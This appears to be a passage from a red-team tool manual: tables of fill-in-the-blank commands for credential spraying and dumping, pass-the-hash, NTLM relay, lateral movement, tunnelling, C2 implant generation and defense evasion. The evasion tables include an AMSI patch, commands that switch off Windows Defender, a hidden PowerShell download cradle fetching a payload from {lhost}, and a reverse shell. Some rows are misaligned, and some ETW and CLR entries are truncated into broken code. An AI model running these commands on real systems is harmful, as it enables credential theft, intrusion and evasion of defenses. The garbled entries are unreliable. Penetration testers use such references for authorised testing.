Network execution tool for credential validation and AD testing.

Mode	Name	Command	Output
1	Credential Spray	nxc smb {targets} -u {user} -p {password} > /opt/tsec/ output/6.10.1_nxc_spray.txt	TXT
2	SAM Dump	nxc smb {targets} -u {user} -p {password} --sam > /opt/ tsec/output/ 6.10.2_nxc_sam.txt	TXT
3	LSA Dump	nxc smb {targets} -u {user} -p {password} --lsa > /opt/ tsec/output/ 6.10.3_nxc_lsa.txt	TXT
4	NTDS Dump	nxc smb {dc} -u {user} -p {password} --ntds drsuapi > / opt/tsec/output/ 6.10.4_nxc_ntds.txt	TXT
5	Pass-the-Hash	nxc smb {targets} -u {user} -H {nthash} > /opt/tsec/ output/6.10.5_nxc_pth.txt	TXT
6	DPAPI Dump	nxc smb {targets} -u {user} -p {password} --dpapi cookies > /opt/tsec/output/ 6.10.6_nxc_dpapi.txt	TXT
7	Mimikatz Module	nxc smb {targets} -u {user} -p {password} -M mimikatz > / opt/tsec/output/ 6.10.7_nxc_mimikatz.txt	TXT
8	LSassy Module	nxc smb {targets} -u {user} -p {password} -M lsassy > / opt/tsec/output/ 6.10.8_nxc_lsassy.txt	TXT

Table 60 – continued

Mode	Name	Command	Output
9	JSON Output	nxc smb {targets} -u {user} -p {password} --sam --json > /opt/tsec/output/ 6.10.9_nxc.json	JSON
10	Full Harvest	nxc smb {targets} -u {user} -p {password} --sam --lsa --dpapi cookies -M mimikatz -M lsassy > /opt/tsec/output/ 6.10.10_nxc_full.txt	TXT

Phase 7: Lateral Movement

Move through the target environment by compromising additional systems using legitimate credentials and protocol abuse.

Tool 7.1 — Evil-WinRM

Ultimate WinRM shell for Windows remote management exploitation.

Mode	Name	Command	Output
1	Basic Connection	evil-winrm -i {target_ip} -u {username} -p {password} > / opt/tsec/output/ 7.1.1_evilwinrm_{target_ip}.txt	TXT
2	Hash Auth	evil-winrm -i {target_ip} -u {username} -H {ntlm_hash} > / opt/tsec/output/ 7.1.2_evilwinrm_hash_{target_ip}.txt	TXT
3	SSL Connection	evil-winrm -i {target_ip} -u {username} -p {password} -S > /opt/tsec/output/ 7.1.3_evilwinrm_ssl_{target_ip}.txt	TXT
4	Certificate Auth	evil-winrm -i {target_ip} -c {cert_pem} -k {key_pem} > / opt/tsec/output/ 7.1.4_evilwinrm_cert_{target_ip}.txt	TXT
5	File Upload	evil-winrm -i {target_ip} -u {username} -p {password} -s {local_file} -d {remote_path} > /opt/tsec/output/ 7.1.5_evilwinrm_upload_{target_ip}.txt	TXT

Table 61 – continued

Mode	Name	Command	Output
6	Script Loading	evil-winrm -i {target_ip} -u {username} -p {password} -s {ps1_script} > /opt/tsec/output/	TXT
7	AMSI Bypass	7.1.6_evilwinrm_script_{target_ip}.txt evil-winrm -i {target_ip} -u {username} -p {password} -a > /opt/tsec/output/	TXT
8	Service Enum	7.1.7_evilwinrm_amsi_{target_ip}.txt evil-winrm -i {target_ip} -u {username} -p {password} -c "Get-Service \\ Where-Object {\$_.Status -eq 'Running'}" > /opt/tsec/output/	TXT
9	Menu Mode	7.1.8_evilwinrm_services_{target_ip}.txt evil-winrm -i {target_ip} -u {username} -p {password} > /opt/tsec/output/	TXT
10	Full Session	7.1.9_evilwinrm_menu_{target_ip}.txt evil-winrm -i {target_ip} -u {username} -p {password} -S -a -s {ps_script} > /opt/tsec/output/	TXT
		7.1.10_evilwinrm_full_{target_ip}.txt	

Tool 7.2 — NetExec (NXC)

Multi-protocol network exploitation for SMB, WinRM, LDAP, MSSQL, SSH.

Mode	Name	Command	Output
1	SMB Command	nxc smb {targets} -u {user} -p {password} -x 'whoami' > /opt/tsec/output/	TXT
2	PS Execution	7.2.1_nxc_smbcmd_{target}.txt nxc smb {targets} -u {user} -p {password} -X 'Get-Process' > /opt/tsec/output/	TXT
3	Pass-the-Hash	7.2.2_nxc_ps_{target}.txt nxc smb {targets} -u {user} -H {hash} -x 'whoami' > /opt/tsec/output/	TXT
		7.2.3_nxc_pth_{target}.txt	

Table 62 – continued

Mode	Name	Command	Output
4	WinRM Exec	nxc winrm {targets} -u {user} -p {password} -x 'hostname' > /opt/tsec/output/ 7.2.4_nxc_winrm_{target}.txt	TXT
5	MSSQL Command	nxc mssql {targets} -u {user} -p {password} -x 'whoami' > / opt/tsec/output/ 7.2.5_nxc_mssql_{target}.txt	TXT
6	Spider Shares	nxc smb {targets} -u {user} -p {password} -M spider_plus > /opt/tsec/output/ 7.2.6_nxc_spider_{target}.txt	TXT
7	WMI Query	nxc smb {targets} -u {user} -p {password} --wmi 'SELECT * FROM Win32_Process' > /opt/ tsec/output/ 7.2.7_nxc_wmi_{target}.txt	TXT
8	Local Auth	nxc smb {targets} -u {user} -p {password} --local-auth > /opt/tsec/output/ 7.2.8_nxc_local_{target}.txt	TXT
9	Kerberos Auth	nxc smb {targets} -u {user} -p {password} -k --use-kcache > /opt/tsec/output/ 7.2.9_nxc_kerb_{target}.txt	TXT
10	Lateral Sweep	nxc smb {cidr} -u {user} -p {password} -x 'whoami' --continue-on-success > /opt/ tsec/output/ 7.2.10_nxc_sweep.txt	TXT

Tool 7.3 — Impacket Suite

Python network protocol classes for lateral movement.

Mode	Name	Command	Output
1	SMBExec Shell	smbexec.py {domain}/{user}: {password}@{target} > /opt/ tsec/output/ 7.3.1_impacket_smbexec_{target}.txt	TXT
2	WMIExec	wmiexec.py {domain}/{user}: {password}@{target} > /opt/ tsec/output/ 7.3.2_impacket_wmiexec_{target}.txt	TXT

Table 63 – continued

Mode	Name	Command	Output
3	PSExec	psexec.py {domain}/{user}: {password}@{target} > /opt/ tsec/output/ 7.3.3_impacket_psexec_{target}.txt	TXT
4	LDAP Dump	ldapdomaindump -u {domain} \\{user} -p {password} {dc_ip} -o /opt/tsec/output/ 7.3.4_impacket_ldap_{dc_ip}	DIR
5	Pass-the-Hash	wmiexec.py -hashes {lmhash}: {nthash} {domain}/{user} @{target} > /opt/tsec/output/ 7.3.5_impacket_pth_{target}.txt	TXT
6	NTLM Relay	ntlmrelayx.py -tf {targets_file} -smb2support -c 'whoami' > /opt/tsec/ output/ 7.3.6_impacket_relay.txt	TXT
7	Lookupsid	lookupsid.py {domain}/{user}: {password}@{target} > /opt/ tsec/output/ 7.3.7_impacket_lookupsid_{target}.txt	TXT
8	Atexec	atexec.py {domain}/{user}: {password}@{target} 'whoami' > /opt/tsec/output/ 7.3.8_impacket_atexec_{target}.txt	TXT
9	Dcomexec	dcomexec.py {domain}/{user}: {password}@{target} > /opt/ tsec/output/ 7.3.9_impacket_dcomexec_{target}.txt	TXT
10	Full Protocol Suite	wmiexec.py {creds}@{target} && smbexec.py {creds} @{target} && psexec.py {creds}@{target} > /opt/tsec/ output/ 7.3.10_impacket_full_{target}.txt	TXT

Tool 7.4 — BloodHound

Graph-based Active Directory attack path analysis.

Mode	Name	Command	Output
1	Data Collection	SharpHound.exe -c All --zipfilename /opt/tsec/ output/ 7.4.1_bloodhound_{domain}.zip	ZIP
2	DCOnly	SharpHound.exe -c DCOnly --zipfilename /opt/tsec/ output/ 7.4.2_bloodhound_donly_{domain}.zip	ZIP
3	Session Collection	SharpHound.exe -c Session --zipfilename /opt/tsec/ output/ 7.4.3_bloodhound_session_{domain}.zip	ZIP
4	ACL Collection	SharpHound.exe -c ACL --zipfilename /opt/tsec/ output/ 7.4.4_bloodhound_acl_{domain}.zip	ZIP
5	Python Collector	bloodhound.py -u {user} -p {password} -d {domain} -c All -o /opt/tsec/output/ 7.4.5_bloodhound_py_{domain}	DIR
6	Collection Loop	SharpHound.exe --loop --loopduration 01:00:00 --zipfilename /opt/tsec/ output/ 7.4.6_bloodhound_loop_{domain}.zip	ZIP
7	Trust Collection	SharpHound.exe -c Trusts --zipfilename /opt/tsec/ output/ 7.4.7_bloodhound_trusts_{domain}.zip	ZIP
8	Group Policy	SharpHound.exe -c GPOLocalGroup --zipfilename / opt/tsec/output/ 7.4.8_bloodhound_gpo_{domain}.zip	ZIP
9	Stealth Collection	SharpHound.exe -c DCOnly,Session --exclude-dc {dc_name} --zipfilename /opt/ tsec/output/ 7.4.9_bloodhound_stealth_{domain}.zip	ZIP
10	Full AD Audit	SharpHound.exe -c All --collectallproperties --zipfilename /opt/tsec/ output/ 7.4.10_bloodhound_full_{domain}.zip	ZIP

Tool 7.5 — PsExec (Sysinternals)

Microsoft's legitimate remote execution tool for SYSTEM access.

Mode	Name	Command	Output
1	Remote Shell	psexec.exe \\{target} -u {user} -p {password} cmd.exe > /opt/tsec/output/ 7.5.1_psexec_shell_{target}.txt	TXT
2	System Shell	psexec.exe \\{target} -u {user} -p {password} -s cmd.exe > /opt/tsec/output/ 7.5.2_psexec_system_{target}.txt	TXT
3	Single Command	psexec.exe \\{target} -u {user} -p {password} -s hostname > /opt/tsec/output/ 7.5.3_psexec_hostname_{target}.txt	TXT
4	Copy & Execute	psexec.exe \\{target} -u {user} -p {password} -c {local_exe} > /opt/tsec/output/ 7.5.4_psexec_copy_{target}.txt	TXT
5	User Session	psexec.exe \\{target} -u {user} -p {password} -i {session} notepad.exe > /opt/tsec/output/ 7.5.5_psexec_interactive_{target}.txt	TXT
6	Network Batch	psexec.exe @{targets_file} -u {user} -p {password} -s cmd /c 'systeminfo' > /opt/tsec/output/7.5.6_psexec_batch.txt	TXT
7	No Profile	psexec.exe \\{target} -u {user} -p {password} -e cmd.exe > /opt/tsec/output/ 7.5.7_psexec_noprofile_{target}.txt	TXT
8	Timeout	psexec.exe \\{target} -u {user} -p {password} -n 10 whoami > /opt/tsec/output/ 7.5.8_psexec_timeout_{target}.txt	TXT
9	Hash Auth	psexec.py {domain}/{user} @{target} -hashes {lmhash}: {nthash} > /opt/tsec/output/ 7.5.9_psexec_hash_{target}.txt	TXT

Table 65 – continued

Mode	Name	Command	Output
10	Full Remote Admin	<pre>psexec.exe \\{target} -u {user} -p {password} -s -c -f {payload} -d > /opt/tsec/ output/ 7.5.10_psexec_full_{target}.txt</pre>	TXT

Tool 7.6 — Ligolo-ng

Advanced tunneling with TUN interface for transparent network pivoting.

Mode	Name	Command	Output
1	Proxy Start	<pre>./proxy -selfcert -laddr 0.0.0.0:{lport} > /opt/tsec/ output/7.6.1_ligolo_proxy.txt</pre>	TXT
2	Agent Connect	<pre>./agent -connect {lhost}: {lport} -ignore-cert > /opt/ tsec/output/ 7.6.2_ligolo_agent.txt</pre>	TXT
3	TUN Setup	<pre>sudo ip tuntap add user \$ (whoami) mode tun ligolo && sudo ip link set ligolo up > /opt/tsec/output/ 7.6.3_ligolo_tun.txt</pre>	TXT
4	Route Add	<pre>sudo ip route add {internal_subnet}/24 dev ligolo > /opt/tsec/output/ 7.6.4_ligolo_route.txt</pre>	TXT
5	Tunnel Start	<pre>session -> tunnel_start > / opt/tsec/output/ 7.6.5_ligolo_tunnel.txt</pre>	TXT
6	Listener Add	<pre>listener_add -addr 0.0.0.0: {port} -to 127.0.0.1:{port} -bind > /opt/tsec/output/ 7.6.6_ligolo_listener.txt</pre>	TXT
7	Multi-hop Pivot	<pre>session -> tunnel_start -> agent -> connect {next_hop} > /opt/tsec/output/ 7.6.7_ligolo_multihop.txt</pre>	TXT
8	Autoroute	<pre>session -> tunnel_start -> add_route {subnet} > /opt/ tsec/output/ 7.6.8_ligolo_autoroute.txt</pre>	TXT

Table 66 – continued

Mode	Name	Command	Output
9	Port Forward	listener_add -addr 0.0.0.0: {port} -to {internal_ip}: {port} > /opt/tsec/output/ 7.6.9_ligolo_portfwd.txt	TXT
10	Full Pivot Chain	proxy -> agent -> tunnel_start -> add_route -> listener_add > /opt/tsec/ output/7.6.10_ligolo_full.txt	TXT

Tool 7.7 — Chisel

Fast TCP/UDP tunnel over HTTP for SOCKS5 proxy and port forwarding.

Mode	Name	Command	Output
1	Server Start	chisel server -p {port} --reverse > /opt/tsec/output/ 7.7.1_chisel_server.txt	TXT
2	Client Connect	chisel client http://{lhost}: {lport} {local_port}: {remote_host}:{remote_port} > /opt/tsec/output/ 7.7.2_chisel_client.txt	TXT
3	Reverse SOCKS	chisel client http://{lhost}: {lport} R:socks > /opt/tsec/ output/7.7.3_chisel_socks.txt	TXT
4	Forward SOCKS	chisel client http://{lhost}: {lport} socks > /opt/tsec/ output/ 7.7.4_chisel_fsocks.txt	TXT
5	Multi Forward	chisel client http://{lhost}: {lport} 3000:10.0.0.1:3000 3389:10.0.0.2:3389 > /opt/ tsec/output/ 7.7.5_chisel_multi.txt	TXT
6	Auth Protection	chisel server -p {port} --auth {user}:{password} --reverse > /opt/tsec/output/ 7.7.6_chisel_auth.txt	TXT
7	UDP Forwarding	chisel client http://{lhost}: {lport} udp://53:10.0.0.1:53 > /opt/tsec/output/ 7.7.7_chisel_udp.txt	TXT

Table 67 – continued

Mode	Name	Command	Output
8	Fingerprint	<code>chisel client --fingerprint '{hash}' http://{lhost}: {lport} {ports} > /opt/tsec/ output/ 7.7.8_chisel_fingerprint.txt</code>	TXT
9	Header Auth	<code>chisel client --header 'X-Auth={token}' http:// {lhost}:{lport} {ports} > / opt/tsec/output/ 7.7.9_chisel_header.txt</code>	TXT
10	Full Tunnel	<code>chisel server -p 443 --auth u:p --reverse --socks5 && chisel client --auth u:p https://{lhost} R:socks > / opt/tsec/output/ 7.7.10_chisel_full.txt</code>	TXT

Tool 7.8 — Proxychains

Force TCP connections through SOCKS/HTTP proxies.

Mode	Name	Command	Output
1	SOCKS5 Nmap	<code>proxychains nmap -sT -Pn {internal_subnet} > /opt/ tsec/output/ 7.8.1_proxychains_nmap.txt</code>	TXT
2	RDP Through Proxy	<code>proxychains xfreerdp /u: {user} /p:{password} /v: {internal_ip} > /opt/tsec/ output/ 7.8.2_proxychains_rdp.txt</code>	TXT
3	SSH via Proxy	<code>proxychains ssh {user} @{internal_ip} > /opt/tsec/ output/ 7.8.3_proxychains_ssh.txt</code>	TXT
4	HTTP Access	<code>proxychains curl http:// {internal_ip}:8080 > /opt/ tsec/output/ 7.8.4_proxychains_http.txt</code>	TXT
5	DNS Override	<code>proxychains -q nmap --dns-servers {dns_ip} -sT {target} > /opt/tsec/output/ 7.8.5_proxychains_dns.txt</code>	TXT

Table 68 – continued

Mode	Name	Command	Output
6	Metasploit Route	proxychains msfconsole -r {resource_script} > /opt/tsec/output/7.8.6_proxychains_msf.txt	TXT
7	Multi-proxy	proxychains -f {config_file} {command} > /opt/tsec/output/7.8.7_proxychains_multi.txt	TXT
8	Quiet Mode	proxychains -q {command} > /opt/tsec/output/7.8.8_proxychains_quiet.txt	TXT
9	SMB Enum	proxychains crackmapexec smb {internal_subnet} -u {user} -p {password} > /opt/tsec/output/7.8.9_proxychains_smb.txt	TXT
10	Full Internal Scan	proxychains nmap -sT -Pn -p 22,80,443,445,3389,5985 {internal_subnet} > /opt/tsec/output/7.8.10_proxychains_full.txt	TXT

Tool 7.9 — sshuttle

Transparent VPN over SSH for network pivoting.

Mode	Name	Command	Output
1	Full Tunnel	sshuttle -r {user} @{pivot_host} {internal_subnet}/24 > /opt/tsec/output/7.9.1_sshuttle_full.txt	TXT
2	DNS Forward	sshuttle -r {user} @{pivot_host} {internal_subnet}/24 --dns > /opt/tsec/output/7.9.2_sshuttle_dns.txt	TXT
3	Listen All	sshuttle -r {user} @{pivot_host} {internal_subnet}/24 -l 0.0.0.0 > /opt/tsec/output/7.9.3_sshuttle_listen.txt	TXT

Table 69 – continued

Mode	Name	Command	Output
4	Auto Hosts	sshuttle -r {user} @{pivot_host} {internal_subnet}/24 --auto-hosts --dns > /opt/ tsec/output/ 7.9.4_sshuttle_autohosts.txt	TXT
5	Exclude Routes	sshuttle -r {user} @{pivot_host} -x {excluded_subnet} {subnet}/24 > /opt/tsec/output/ 7.9.5_sshuttle_exclude.txt	TXT
6	Daemon Mode	sshuttle -r {user} @{pivot_host} {subnet}/24 --daemon > /opt/tsec/output/ 7.9.6_sshuttle_daemon.txt	TXT
7	Key Auth	sshuttle -r {user} @{pivot_host} -e 'ssh -i {key}' {subnet}/24 > /opt/ tsec/output/ 7.9.7_sshuttle_key.txt	TXT
8	Custom Port	sshuttle -r {user} @{pivot_host}:{port} {subnet}/24 > /opt/tsec/ output/ 7.9.8_sshuttle_port.txt	TXT
9	Auto-nets	sshuttle -r {user} @{pivot_host} --auto-nets > / opt/tsec/output/ 7.9.9_sshuttle_autonets.txt	TXT
10	Full VPN	sshuttle -r {user} @{pivot_host} --dns --auto-hosts --auto-nets -D > /opt/tsec/output/ 7.9.10_sshuttle_vpn.txt	TXT

Tool 7.10 — ntlmrelayx.py

NTLM relay attack tool for SMB, HTTP, LDAP, MSSQL relaying.

Mode	Name	Command	Output
1	SMB Relay	ntlmrelayx.py -tf {targets_file} -smb2support > /opt/tsec/output/ 7.10.1_ntlmrelayx_smb.txt	TXT
2	Command Exec	ntlmrelayx.py -t {target} -c 'whoami /all' -smb2support > /opt/tsec/output/ 7.10.2_ntlmrelayx_cmd.txt	TXT
3	LDAP Dump	ntlmrelayx.py -t ldap:// {dc_ip} --no-da --no-acl > / opt/tsec/output/ 7.10.3_ntlmrelayx_ldap.txt	TXT
4	LDAP Account	ntlmrelayx.py -t ldap:// {dc_ip} --add-computer {computer_name} > /opt/tsec/ output/ 7.10.4_ntlmrelayx_account.txt	TXT
5	HTTP Server	ntlmrelayx.py -t {target} --serve-image {image} -smb2support > /opt/tsec/ output/ 7.10.5_ntlmrelayx_http.txt	TXT
6	WPAD Attack	ntlmrelayx.py -tf {targets_file} -w -l /opt/ tsec/output/ 7.10.6_ntlmrelayx_wpad.log	LOG
7	IPv6 DNS	ntlmrelayx.py -t {target} -6 -wh {domain} -l /opt/tsec/ output/ 7.10.7_ntlmrelayx_ipv6.log	LOG
8	SOCKS Proxy	ntlmrelayx.py -tf {targets_file} -socks -smb2support > /opt/tsec/ output/ 7.10.8_ntlmrelayx_socks.txt	TXT
9	File Output	ntlmrelayx.py -t {target} -of /opt/tsec/output/ 7.10.9_ntlmrelayx_{target}.txt -smb2support	TXT
10	Full Relay Chain	ntlmrelayx.py -tf {targets_file} -c 'powershell -enc {payload}' -smb2support -l /opt/tsec/output/ 7.10.10_ntlmrelayx_full.log	LOG

Phase 8: Persistence & Defense Evasion

Maintain long-term access while avoiding detection through stealth techniques, AMSI bypass, and process injection.

Tool 8.1 — Metasploit Framework

Industry-standard penetration testing framework.

Mode	Name	Command	Output
1	Exploit Launch	<code>msfconsole -x 'use {exploit}; set RHOSTS {target}; set PAYLOAD {payload}; set LHOST {lhost}; run' > /opt/tsec/output/8.1.1_msf_exploit.txt</code>	TXT
2	Handler Start	<code>msfconsole -x 'use exploit/multi/handler; set PAYLOAD {payload}; set LHOST {lhost}; set LPORT {lport}; run' > /opt/tsec/output/8.1.2_msf_handler.txt</code>	TXT
3	Persistence Service	<code>meterpreter > run persistence -U -i 5 -p {port} -r {lhost} > /opt/tsec/output/8.1.3_msf_persistence.txt</code>	TXT
4	Process Migrate	<code>meterpreter > migrate {pid} > /opt/tsec/output/8.1.4_msf_migrate.txt</code>	TXT
5	Keylogger	<code>meterpreter > keyscan_start > /opt/tsec/output/8.1.5_msf_keylog.txt</code>	TXT
6	Screenshot	<code>meterpreter > screenshot -p /opt/tsec/output/8.1.6_msf_screenshot.png</code>	PNG
7	Hash Dump	<code>meterpreter > hashdump > /opt/tsec/output/8.1.7_msf_hashdump.txt</code>	TXT
8	Port Forward	<code>meterpreter > portfwd add -l {local} -p {remote} -r {target} > /opt/tsec/output/8.1.8_msf_portfwd.txt</code>	TXT
9	Route Add	<code>meterpreter > run autoroute -s {subnet} > /opt/tsec/output/8.1.9_msf_route.txt</code>	TXT

Table 71 – continued

Mode	Name	Command	Output
10	Full Session	<pre> msfconsole -x 'use exploit/ multi/handler; set PAYLOAD windows/x64/meterpreter/ reverse_tcp; set LHOST {lhost}; set LPORT {port}; set ExitOnSession false; set AutoRunScript post/windows/ manage/migrate; run -j' > / opt/tsec/output/ 8.1.10_msf_full.txt </pre>	TXT

Tool 8.2 — Cobalt Strike

Commercial adversary simulation and red team platform.

Mode	Name	Command	Output
1	Listener Setup	<pre> teamserver {lhost} {password} {c2_profile} > /opt/tsec/ output/ 8.2.1_cs_teamserver.log </pre>	LOG
2	Payload Gen	<pre> ./aggressor -host {host} -port {port} -user {user} -password {password} > /opt/ tsec/output/ 8.2.2_cs_payload.txt </pre>	TXT
3	PowerShell Payload	<pre> ./aggressor -host {host} -port {port} -user {user} -password {password} -command "powershell" > /opt/tsec/ output/8.2.3_cs_ps1.txt </pre>	TXT
4	Browser Pivot	<pre> ./aggressor -host {host} -port {port} -user {user} -password {password} -command "browserpivot {pid}" > /opt/ tsec/output/ 8.2.4_cs_browser.txt </pre>	TXT
5	SSH Tunnel	<pre> ./aggressor -host {host} -port {port} -user {user} -password {password} -command "ssh {target} {user} {password}" > /opt/tsec/ output/8.2.5_cs_ssh.txt </pre>	TXT

Table 72 – continued

Mode	Name	Command	Output
6	SOCKS Proxy	<code>./aggressor -host {host} -port {port} -user {user} -password {password} -command "socks {port}" > /opt/tsec/ output/8.2.6_cs_socks.txt</code>	TXT
7	Golden Ticket	<code>./aggressor -host {host} -port {port} -user {user} -password {password} -command "golden_ticket {domain} {krbtgt_hash}" > /opt/tsec/ output/8.2.7_cs_golden.txt</code>	TXT
8	Token Steal	<code>./aggressor -host {host} -port {port} -user {user} -password {password} -command "steal_token {pid}" > /opt/ tsec/output/ 8.2.8_cs_token.txt</code>	TXT
9	Execute Assembly	<code>./aggressor -host {host} -port {port} -user {user} -password {password} -command "execute-assembly {dotnet_assembly}" > /opt/ tsec/output/ 8.2.9_cs_assembly.txt</code>	TXT
10	Malleable C2	<code>./aggressor -host {host} -port {port} -user {user} -password {password} -command "load_profile {profile}.profile" > /opt/ tsec/output/ 8.2.10_cs_malleable.txt</code>	TXT

Tool 8.3 — Sliver C2 (Persistence)

Advanced cross-platform C2 with persistence capabilities.

Mode	Name	Command	Output
1	Generate Implant	<code>sliver-server generate --mtls {lhost}:{lport} --os windows --arch amd64 --save /opt/ tsec/output/ 8.3.1_sliver_persist.exe</code>	EXE

Table 73 – continued

Mode	Name	Command	Output
2	HTTPS Beacon	sliver-server generate --http https://{lhost} --os linux --arch amd64 --save /opt/ tsec/output/ 8.3.2_sliver_https.elf	ELF
3	DNS Beacon	sliver-server generate --dns {domain} --os windows --arch amd64 --save /opt/tsec/ output/8.3.3_sliver_dns.exe	EXE
4	Shellcode	sliver-server generate --http {lhost}:{lport} --format shellcode --save /opt/tsec/ output/ 8.3.4_sliver_shellcode.bin	BIN
5	Execute Assembly	sliver-server execute-assembly -t {session} {assembly} {args} > /opt/ tsec/output/ 8.3.5_sliver_assembly.txt	TXT
6	Process Migrate	sliver-server migrate -t {session} {pid} > /opt/tsec/ output/ 8.3.6_sliver_migrate.txt	TXT
7	Shellcode Exec	sliver-server execute-shellcode -t {session} {shellcode_file} > /opt/tsec/output/ 8.3.7_sliver_shellcode.txt	TXT
8	Credential Dump	sliver-server procdump -t {session} -n lsass.exe > / opt/tsec/output/ 8.3.8_sliver_procdump.dmp	DMP
9	Port Forward	sliver-server portfwd add -r {remote_host}:{remote_port} -l {local_port} > /opt/tsec/ output/ 8.3.9_sliver_portfwd.txt	TXT
10	Multiplayer	sliver-server multiplayer > / opt/tsec/output/ 8.3.10_sliver_multiplayer.txt	TXT

Tool 8.4 — Havoc C2 (Evasion)

Modern C2 with Demon agent and sleep mask obfuscation.

Mode	Name	Command	Output
1	Demon Generate	./havoc client -> payload generate --profile {profile} --arch x64 --format exe --sleep 15 --jitter 20 --output /opt/tsec/output/ 8.4.1_havoc_demon.exe	EXE
2	DLL Agent	./havoc client -> payload generate --profile {profile} --arch x64 --format dll --output /opt/tsec/output/ 8.4.2_havoc_dll.dll	DLL
3	Shellcode	./havoc client -> payload generate --profile {profile} --arch x64 --format shellcode --output /opt/tsec/output/ 8.4.3_havoc_shellcode.bin	BIN
4	Service Binary	./havoc client -> payload generate --profile {profile} --arch x64 --format service-exe --output /opt/ tsec/output/ 8.4.4_havoc_service.exe	EXE
5	PowerShell	./havoc client -> payload generate --profile {profile} --arch x64 --format pspowershell --output /opt/ tsec/output/ 8.4.5_havoc_ps1.ps1	PS1
6	Listener Create	./havoc client -> listener create --name {name} --protocol http --port {port} --hosts {lhost} > /opt/tsec/ output/ 8.4.6_havoc_listener.txt	TXT
7	Token Steal	./havoc client -> token steal {pid} > /opt/tsec/output/ 8.4.7_havoc_token.txt	TXT
8	Shellcode Inject	./havoc client -> shellcode inject {pid} {shellcode_file} > /opt/tsec/output/ 8.4.8_havoc_inject.txt	TXT

Table 74 – continued

Mode	Name	Command	Output
9	Transfer Download	./havoc client -> transfer download {remote_file} {local_path} > /opt/tsec/ output/ 8.4.9_havoc_download.txt	TXT
10	Full Evasion	./havoc client -> payload generate --profile {profile} --arch x64 --format exe --sleep-obf --export /opt/ tsec/output/ 8.4.10_havoc_full.exe	EXE

Tool 8.5 — PowerSploit

PowerShell modules for code execution, persistence, and evasion.

Mode	Name	Command	Output
1	Reflective PE	Invoke-ReflectivePEInjection -PEBytes \$bytes -ProcId {pid} > /opt/tsec/output/ 8.5.1_powersploit_pe.txt	TXT
2	Shellcode Injection	Invoke-Shellcode -Shellcode \$bytes -ProcessId {pid} > / opt/tsec/output/ 8.5.2_powersploit_shellcode.txt	TXT
3	Mimikatz	Invoke-Mimikatz -DumpCreds > /opt/tsec/output/ 8.5.3_powersploit_mimikatz.txt	TXT
4	Token Manipulation	Invoke-TokenManipulation -ImpersonateUser -Username 'nt authority\system' > /opt/ tsec/output/ 8.5.4_powersploit_token.txt	TXT
5	WMI Persistence	Install-Persistence -Trigger AtLogon -Payload {script} -PayloadType Script > /opt/ tsec/output/ 8.5.5_powersploit_wmi.txt	TXT
6	DLL Injection	Invoke-DllInjection -ProcessID {pid} -Dll {dll_path} > /opt/tsec/ output/ 8.5.6_powersploit_dll.txt	TXT

Table 75 – continued

Mode	Name	Command	Output
7	Reverse Shell	Invoke-PowerShellTcp -Reverse -IPAddress {lhost} -Port {lport} > /opt/tsec/output/ 8.5.7_powersploit_rev.txt	TXT
8	Port Scan	Invoke-Portscan -Hosts {target} -Ports {ports} -Threads 100 > /opt/tsec/ output/ 8.5.8_powersploit_portscan.txt	TXT
9	BloodHound	Invoke-BloodHound -CollectionMethod All -ZipFileName /opt/tsec/ output/ 8.5.9_powersploit_bloodhound.zip	ZIP
10	Full Privesc	Invoke-AllChecks > /opt/tsec/ output/ 8.5.10_powersploit_allchecks.txt	TXT

Tool 8.6 — AMSI/ETW/Bypass Toolkit

Collection of techniques for bypassing Windows security controls.

Mode	Name	Command	Output
1	AMSI Patch	[Ref].Assembly.GetType().Where({\$_.Name -like '*iU- tils'}).GetFields(40).SetValue(\$null,\$true) > /opt/tsec/output/ 8.6.1_amsi_patch.txt	TXT
2	ETW Patch	[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession Windows-PowerShell/ Operational') > /opt/tsec/ output/8.6.2_etw_patch.txt	TXT
3	Forced Error	[Ref].Assembly.GetType() \\ ForEach-Object { if (\$_.Name -like '*iUtils') { \$f = \$_.GetFields(40); \$f[0].SetValue(\$null,\$true) } } > /opt/tsec/output/ 8.6.3_amsi_forced.txt	TXT
4	CLR Hook	[AppDomain]::CurrentDomain.GetAssemblies().Where({\$_.GlobalAssembly > /opt/tsec/output/ 8.6.4_amsi_clr.txt	TXT

Table 76 – continued

Mode	Name	Command	Output
5	Memory Patch	<code>[System.Reflection.Assembly]::LoadWithPartialName('System.Management') > /opt/tsec/output/ 8.6.5_amsi_memory.txt</code>	TXT
6	WD Disable	<code>Set-MpPreference -DisableRealtimeMonitoring \$true; Set-MpPreference -DisableBehaviorMonitoring \$true > /opt/tsec/output/ 8.6.6_wd_disable.txt</code>	TXT
7	Exclusion Add	<code>Add-MpPreference -ExclusionPath 'C:\Temp'; Add-MpPreference -ExclusionProcess 'powershell.exe' > /opt/tsec/ output/8.6.7_wd_exclude.txt</code>	TXT
8	Encoded Command	<code>powershell -enc {base64_command} > /opt/tsec/ output/8.6.8_encoded.txt</code>	TXT
9	Download Cradle	<code>powershell -nop -w hidden -c 'IEX(iwr http://{lhost}/ {script})' > /opt/tsec/ output/8.6.9_cradle.txt</code>	TXT
10	Full Evasion	<code>[Ref].Assembly.GetType().Where({\$_.Name -like '*iU- tils'}).GetFields(40).SetValue(\$null,\$true); IEX(iwr http://{lhost}/ {payload}) > /opt/tsec/ output/ 8.6.10_full_evasion.txt</code>	TXT

Tool 8.7 — Invoke-Obfuscation

PowerShell command and script obfuscation framework.

Mode	Name	Command	Output
1	Token Obfuscation	<code>Invoke-Obfuscation -ScriptBlock {script} -Token -Command 'Token,Member,Binary' > /opt/ tsec/output/ 8.7.1_obfuscate_token.txt</code>	TXT

Table 77 – continued

Mode	Name	Command	Output
2	AST Obfuscation	Invoke-Obfuscation -ScriptBlock {script} -Ast > /opt/tsec/output/ 8.7.2_obfuscate_ast.txt	TXT
3	String Obfuscation	Invoke-Obfuscation -ScriptBlock {script} -String > /opt/tsec/output/ 8.7.3_obfuscate_string.txt	TXT
4	Encoding Launcher	Invoke-Obfuscation -ScriptBlock {script} -Encoding -Command 'Encoding,Launcher' > /opt/ tsec/output/ 8.7.4_obfuscate_encoding.txt	TXT
5	Compression	Invoke-Obfuscation -ScriptBlock {script} -Compress > /opt/tsec/output/ 8.7.5_obfuscate_compress.txt	TXT
6	SecureString	Invoke-Obfuscation -ScriptBlock {script} -SecureString > /opt/tsec/ output/ 8.7.6_obfuscate_secure.txt	TXT
7	Multi-Layer	Invoke-Obfuscation -ScriptBlock {script} -Token -String -Encoding > /opt/ tsec/output/ 8.7.7_obfuscate_multilayer.txt	TXT
